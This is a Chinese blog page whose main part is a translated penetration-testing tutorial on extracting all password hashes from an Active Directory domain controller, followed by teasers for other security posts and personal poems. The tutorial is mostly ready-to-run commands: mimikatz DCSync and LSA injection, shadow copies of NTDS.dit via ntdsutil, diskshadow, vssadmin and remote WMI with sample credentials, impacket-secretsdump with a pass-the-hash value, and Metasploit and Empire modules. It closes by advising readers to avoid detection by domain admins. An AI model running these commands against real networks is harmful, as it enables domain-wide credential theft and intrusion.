Dump域内用户Hash姿势集合

如何Dump域内的Hash

原文地址:https://pentestlab.blog/2018/07/04/dumping-domain-password-hashes/
ps:上一篇提权那篇译文,backlion说有实际操作就更好了,所以这篇我尽量都在自己DC上测试一遍,不当之处请指教。
在渗透测试的过程中,当我们已经是域管权限时,就可以实现提取所有域内用户的密码哈希以进行离线破解和分析,这是非常常见的一个操作。这些哈希值存储在域控制器(NTDS.DIT​​)中的数据库文件中,并带有一些其他信息,如组中成员身份和用户。

NTDS.DIT​​文件经常被操作系统使用,因此无法直接复制到其他位置以提取信息。可以在Windows以下位置找到此文件:

1
C:\Windows\NTDS\NTDS.dit

ps:这是我自己域控中的实例

可以使用各种骚操作来提取此文件或存储在其中的信息,但是大多数情况下都使用以下方法之一:

  • 域控复制服务
  • 原生Windows二进制文件
  • WMI

Mimikatz

Mimikatz有一个功能(dcsync),它利用目录复制服务(DRS)从NTDS.DIT​​文件中检索密码哈希值。这样子解决了需要直接使用域控制器进行身份验证的需要,因为它可以从域管理员的上下文中获得执行权限。因此它是红队的基本操作,因为它不那么复杂。

1
lsadump::dcsync /domain:pentestlab.local /all /csv

ps:这是我在我本地DC中实际测试的图

ps:目录复制服务远程协议解释:目录复制服务远程协议是用于DC之间复制和AD管理的RPC协议。该协议由一个名为drsuapi的 RPC接口组成。
对于客户端与AD轻型目录服务(AD/LDS)域控制器建立RPC连接,它需要知道计算机的名称以及AD/LDS域控制器正在侦听的LDAP端口的编号。首先,客户端建立与计算机上的端点映射器服务的连接。
接下来,客户端枚举为所需接口ID注册的所有端点。最后,客户端选择其注释等于所需AD/LDS域控制器的LDAP端口号的端点。
此协议适用于管理目录中的对象,以及目录服务的整体管理。

通过使用/user参数指定域用户名,Mimikatz可以dump此特定用户的所有帐户信息,包括其密码哈希。

1
lsadump::dcsync /domain:pentestlab.local /user:test

wing’s DC

或者直接在域控制器中执行Mimikatz,通过lsass.exe进程dump哈希。

1
2
privilege::debug
lsadump::lsa /inject

将检索域内用户的密码哈希值。

Empire

PowerShell Empire有两个模块,可以通过DCSync攻击dump域内哈希值。这两个模块都需要以域管理员权限执行,并且目标机器正在使用Microsoft复制服务。这些模块依赖于Invoke-Mimikatz PowerShell脚本来执行与DCSync相关的Mimikatz命令。以下模块将域内哈希值提取为类似于Metasploit hashdump命令输出的格式。

1
usemodule credentials/mimikatz/dcsync_hashdump


DCSync模块dump所有的帐户中指定的用户信息。

将获得以下信息:

Nishang

Nishang是一个PowerShell框架,它让redteam和渗透测试人员能够对系统进行攻击性操作。Nishang中的VSS脚本可以用于自动提取所需的文件:NTDS.DIT​​,SAM和SYSTEM。这些文件将被解压缩到当前工作目录或指定的任何其他文件夹中。

1
2
3
Import-Module .\Copy-VSS.ps1
Copy-VSS
Copy-VSS -DestinationDir C:\ShadowCopy\


我操作完之后当前文件夹已经dump了。

或者,可以通过现有的Meterpreter会话加载PowerShell扩展来执行脚本。

1
2
3
load powershell
powershell_import /root/Copy-VSS.ps1
powershell_execute Copy-VSS

也可以使用命令powershell_shell直接建立PowerShell会话,以便在在现有的Meterpreter会话中导入脚本后提取文件。

1
2
Copy-VSS
Copy-VSS -DestinationDir C:\Ninja

PowerSploit

PowerSploit包含PowerShell脚本,该脚本利用卷复制服务创建可用于提取文件的新卷。

1
2
3
Import-Module .\VolumeShadowCopyTools.ps1
New-VolumeShadowCopy -Volume C:\
Get-VolumeShadowCopy


或者,可以通过加载PowerShell扩展来从现有的Meterpreter会话执行它。

1
2
3
powershell_shell
New-VolumeShadowCopy -Volume C:\
Get-VOlumeShadowCopy


然后,可以使用copy命令将文件从新卷复制到目标路径。

Invoke-DCSync

Invoke–DCSync 是Nick Landers利用PowerView开发的powershell脚本。
Invoke-ReflectivePEInjection和PowerKatz的DLL wrapper 调用Mimikatz的DCSync方法检索哈希值。
直接执行该函数将生成以下输出:

1
Invoke-DCSync

优秀,哈哈!

结果将格式化为四个表:Domain,User,RID和Hash。但是,使用参数-PWDumpFormat执行Invoke-DCSync将以以下格式检索哈希:

1
user:id:lm:ntlm :::
1
Invoke-DCSync -PWDumpFormat


通过从现有的Meterpreter会话运行脚本,可以实现相同的输出。


使用PWDumpFormat:

NTDSUTIL

该NTDSUTIL是一个命令行工具,它是域控制器生态系统的一部分,其目的是为了使管理员能够访问和管理Windows Active Directory数据库。但是,渗透测试人员和redteam可以用它来拍摄现有ntds.dit文件的快照,该文件可以复制到新位置以进行离线分析和密码哈希的提取。

1
2
3
4
5
6
ntdsutil
activate instance ntds
ifm
create full C:\ntdsutil
quit
quit


1
将生成两个新文件夹:Active Directory和Registry。NTDS.DIT​​文件将保存在Active Directory中,SAM和SYSTEM文件将保存到Registry文件夹中。

DiskShadow

DiskShadow是Microsoft签名的二进制文件,用于协助管理员执行与卷复制服务(VSS)相关的操作。最初bohops在他的博客中写到了这个二进制文件。这个二进制文件有两个交互式和脚本模式,因此可以使用一个脚本文件,它将包含自动执行NTDS.DIT​​提取过程所需的所有命令。脚本文件可以包含以下行,以便创建新的卷影副本,装入新驱动器,执行复制命令并删除卷影副本。

1
2
3
4
5
6
7
set context persistent nowriters
add volume c: alias someAlias
create
expose %someAlias% z:
exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit
delete shadows volume %someAlias%
reset

需要注意一点,DiskShadow二进制文件需要从C\Windows\System32路径执行。如果从另一个路径调用它,脚本将无法正确执行。

1
diskshadow.exe /s c:\diskshadow.txt


直接从解释器运行以下命令将列出系统的所有可用卷影副本。

1
2
diskshadow
LIST SHADOWS ALL



SYSTEM注册表配置单元也应该复制,因为它包含解密NTDS文件内容的密钥。

1
reg.exe save hklm\system c:\exfil\system.bak

WMI

Sean Metcalf在他的博客中证明了,可以通过WMI远程提取NTDS.DIT​​和SYSTEM文件。此技术使用vssadmin二进制文件来创建卷的副本。

1
wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c vssadmin create shadow /for=C: 2>&1"


然后,它远程执行复制命令,以便将卷影副本中的NTDS.DIT​​文件解压缩到目标系统上的另一个目录中。

1
wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit 2>&1"


这同样适用于SYSTEM文件。

1
wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM\ C:\temp\SYSTEM.hive 2>&1"


然后,解压缩的文件可以从域控制器传输到另一个Windows系统,然后dump域内用户密码哈希值。

1
2
PS C:\Users\test.PENTESTLAB> copy \\10.0.0.1\c$\temp\ntds.dit C:\temp
PS C:\Users\test.PENTESTLAB> copy \\10.0.0.1\c$\temp\SYSTEM.hive C:\temp


如果已生成金票据,则可以使用它通过Kerberos与域控制器进行身份验证,而不是凭据。

VSSADMIN

卷影拷贝服务是Windows命令行实用的程序,使管理员可以备份计算机,卷和文件,即使它们正在被操作系统使用。卷影复制作为服务运行,并要求将文件系统格式化为NTFS,默认情况下所有现代操作系统都是如此。从Windows命令提示符执行以下操作将创建C:驱动器的快照,以便用户通常无法访问这些文件以将其复制到另一个位置(本地文件夹,网络文件夹或可移动设备)。

1
vssadmin create shadow /for=C:

ps:
关于Volume Shadow Copy 服务:
它是管理及执行用于备份和其他目的的磁碟区卷影。如果这个服务被停止,卷影将无法用于备份,备份可能会失败。如果这个服务被停用,依存它的服务无法启动。
这一服务唯一的缺点是你需要为每一个卷影留出更多的磁盘空间,因为你必须在某处存储这些拷贝。
它主要是用来备份数据库之类的数据,个人电脑确实一般用不上它。可以放心禁用!

由于C:驱动器中的所有文件都已复制到另一个位置(HarddiskVolumeShadowCopy1),因此它们不会被操作系统直接使用,因此可以访问他并且复制到另一个位置。命令副本将NTDS.DIT和SYSTEM文件复制到名为ShadowCopy的本地驱动器上的新创建文件夹中。

1
2
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy


需要将这些文件从域控制器复制到另一个主机以进行进一步处理。

vssown

与vssadmin程序类似,Tim Tomes开发了vssown,它是一个可视化的基本脚本,可以创建和删除卷影副本,从卸载的卷影副本运行任意可执行文件,以及启动和停止卷影复制服务。

1
2
3
4
cscript vssown.vbs /start
cscript vssown.vbs /create c
cscript vssown.vbs /list
cscript vssown.vbs /delete


可以使用命令复制所需的文件。

1
2
3
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\ntds\ntds.dit C:\vssown
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SYSTEM C:\vssown
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SAM C:\vssown

Metasploit

Metasploit框架有一个模块,它通过服务器消息块(SMB)服务直接与域控制器进行身份验证,创建系统驱动器的卷影副本,并将NTDS.DIT​​和SYSTEM配置单元的副本下载到Metasploit目录中。这些文件可以与impacket等其他工具一起使用,这些工​​具可以进行 active directory哈希密码的提取。

1
auxiliary/admin/smb/psexec_ntdsgrab


还有一个后渗透模块,可以链接到现有的Meterpreter会话,以便通过ntdsutil方法检索域哈希。

1
windows/gather/credentials/domain_hashdump

或者,如果已经拿到域控制器的现有Meterpreter会话,则可以使用命令hashdump。但是,此方法不被认为是安全的,因为它可能会使域控崩掉。

1
hashdump

fgdump

fgdump是一个比较老的可执行文件,可提取的LanMan和NTLM的密码哈希值。如果已获取本地管理员凭据,则可以在本地或远程执行。在执行期间,fgdump将尝试禁用可能在系统上运行的防病毒软件,如果成功,则会将所有数据写入两个文件中。如果存在防病毒或端点解决方案,则不应该将fgdump用作dump密码哈希的方法以避免检测,因为大多数防病毒公司(包括Microsoft的Windows Defender)都会对将它kill掉。

1
fgdump.exe


可以通过检查.pwdump文件的内容来get密码哈希值。

1
type 127.0.0.1.pwdump

NTDS提取

Impacket是一组python脚本,可用于执行各种任务,包括提取NTDS文件的内容。impacket-secretsdump模块需要系统和NTDS数据库文件.

1
impacket-secretsdump -system /root/SYSTEM -ntds /root/ntds.dit LOCAL


此外,impacket可以通过使用计算机帐户及其哈希进行身份验证然后从NTDS.DIT​​文件远程dump域内所有密码哈希。

1
impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1


作为impacket的替代解决方案,NTDSDumpEx二进制文件可以从Windows主机中提取域密码哈希值。

1
NTDSDumpEx.exe -d ntds.dit -s SYSTEM.hive


还有一个shell脚本adXtract,它可以将用户名和密码哈希导出为一种格式,可以使用常见密码破解程序进行破解,例如John the Ripper和Hashcat。

1
./adXtract.sh /root/ntds.dit /root/SYSTEM pentestlab


该脚本将所有信息写入项目名称下的各种文件中,当数据库文件NTDS的解密完成后,将用户列表和密码哈希值导出到控制台中。该脚本将提供有关域用户的大量信息,如下所示。

密码哈希将以下列格式显示。

总结

操作一遍之后,操作确实很多,个人愚见就是,不管哪种方法,都尽量别被域管发现。

译者:wing

windows提权笔记

Windows提权笔记

 ps:文章本人根据情景翻译,不对之处请GG指出。-。-

你好基友们!
以下是我对Windows提权研究的看法。
Windows权限的涉及的领域范围很广,简单的一篇文章只能说包含常见的手法,本文算是一个小小的WIKI,我写这篇文章的目的只是给自己做一个笔记,与此同时给别人一个参考,共同分享our thinking!

我的WIKI设计以下主题:

  • Windows提权命令参考
  • 本地权限提升
  • 服务漏洞
  • Windows注册表
  • 不安全的文件系统权限
  • AlwaysInstallElevated
  • 获得凭证
  • 利用令牌权限
  • DLL 劫持
  • 自动化的工具和框架
Read More

SSRF攻击[译文]

SSRF攻击文档翻译

Part1 基础知识

Hello world!
我将在本文向您介绍服务器端请求伪造(SSRF)的概念,它是客户端请求伪造(CSRF)的表兄弟,QWQ,在开始之前,我只是简单的介绍一下这个概念的基础知识,以便于下一篇中引入更多高级的技术。我还必须赞扬NicolasGrégoire(Hack in ParisHackfest)和Orange Tsai(DEFCON),他们在很大程度上激发了本系列的内容,并以某种方式激发了我对这种技术的兴趣。我已经提供了一个SSRF模拟环境供您自己测试。文中所有的例子也是用这个环境来模拟。

Read More

wordpress4.9.6 任意文件删除

0X00 前言

在推特上看到了一篇paper,点我啊
可以直接利用删除图片那个功能删除网站配置文件,导致网站只能重装。

Read More

或许是不知梦的缘故 流离之人追逐幻影

龙族

1
2
3
4
5
6
7
8
9
10
11
12
或许是不知梦的缘故,流离之人追逐幻影;
生人无能相惜者,曰悲;
再无可许之誓言,曰哀。
孤独是与生俱来的种子,萌发于爱上一个人的瞬间;
但既然相逢,纵无携手,总好过一生陌路。
死亡就像是酒后的别辞,从此置身事外,
我可以看透这光阴,但光阴的尽头没有你,又有什么好?
你将沉睡在一泓湖泊里,等待多年之后的访客;
还要一些年,等我席卷这一天下;
我们将重逢在水清沙幼白鸟飞翔的岸边。
那时的我会死在席卷天下的战场上
你教我种的那些花,都已枯萎。

<<烟花>>

即使明天你要转学,今天我也要和你在一起!

1

Read More

XSS学习从入门到放弃

狗子的XSS学习之旅

0X00 前言

1
2
3
4
5
6
以前听歌,听的是旋律
后来听歌,听的是歌词
再后来听歌,听的是故事
现在听歌,听的是自己
初闻不知曲中意,再听已是曲中人
我们都已经芳华已逝,谁的成长没有过难忘的回忆
Read More

XXE漏洞学习从入门到放弃

或许是不知梦的缘故,流离之人追逐幻影!

image.png

0X00 前言

首先介绍一下什么是XXE:

XXE全称是——XML External Entity,也就是XML外部实体注入攻击.漏洞是在对不安全的外部实体数据进行处理时引发的安全问题。

我们可以利用XML注入来做很多有意思的事情,具体看后文,有hacking细节.

Read More

Javascript for hacker

前言

image.png

ps:我不知道文中手法新不新,但是对我来说,值得学习,也喜欢能和大佬学习更多有用东西.喵!
我喜欢以意想不到的方式使用JavaScript,构造出看似不能工作但是却正常运行的代码,或者会产生一些意想不到的行为。这可能听起来不算什么,但我发现的这些结果让我发现了一些非常有用的技巧。下面我所描述的每种技术都可以用来bypass xss filter,这是我创造它们时的初衷。与此同时,学习这样的JavaScript可以显著提高您对该语言的了解,帮助您更好地处理用户输入,并提高Web应用程序的安全性。

Read More

余生,wing在等你!


余生,wing在等你!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<write poems for you>
要怎么做,该怎么做
现在还能和你说话吧?
那样也好,这样也好
只希望你能早点察觉到我

我是一直围绕着你转动的一颗小行星
我一直在你身边
即使只是细数你的小缺点
不想要说再见
但是今天起我就要开始偏离你的轨道
目送你,直到最后
因为我将永远和你分离
啦 啦啦 啦啦啦啦 ……

为什么会变成这样?
最终仍是我独自一人伫立在这儿

失去之后,才意识到
在没有你的地方
我完全不知所措

你对我的吸引力
每时每刻都存在着
如今再也感受不到了
可是这世上再也没有什么神明
无论期盼到何时都只能在自己的轨道中巡回
没有被选择的悲伤
究竟还要再努力多少次

你就是我的太阳
已经将我的精力全部燃尽
我的精力也只会全部给予给你
不要说再见好不好?

你让我知道,寄生于世上是多么美好
别离了,人散了
我才真正明白
原来时光一直都在
只是我们在飞逝

我想此生不会再有轮回
若有,我一定会告诉你
我爱过你,伤过你,讨厌过你
但是你不管变成什么模样
你都是我最喜欢的模样

我会守着你
在一个个绿瘦肥田的日子里
诉尽我半世离殇
倾尽我一世柔肠

未来,等你
千里路途,来日可期
等你,用诗词酿酒
等你,用时光证明
等你,泪花铺就
若爱,可否为我停留
若忘,可否醉过再走
时光静好,只想与李同老

wing陪了你多少年
穿林打叶,过程轰轰烈烈
花开花落,一路上起起跌跌
春夏秋冬泯和灭
幕还未谢,好不容易又一年
渴望的你还未出现

风华是一指流砂
苍老是一段年华
我是wing

我的真的很喜欢你
像春风走了八千里
不问归期!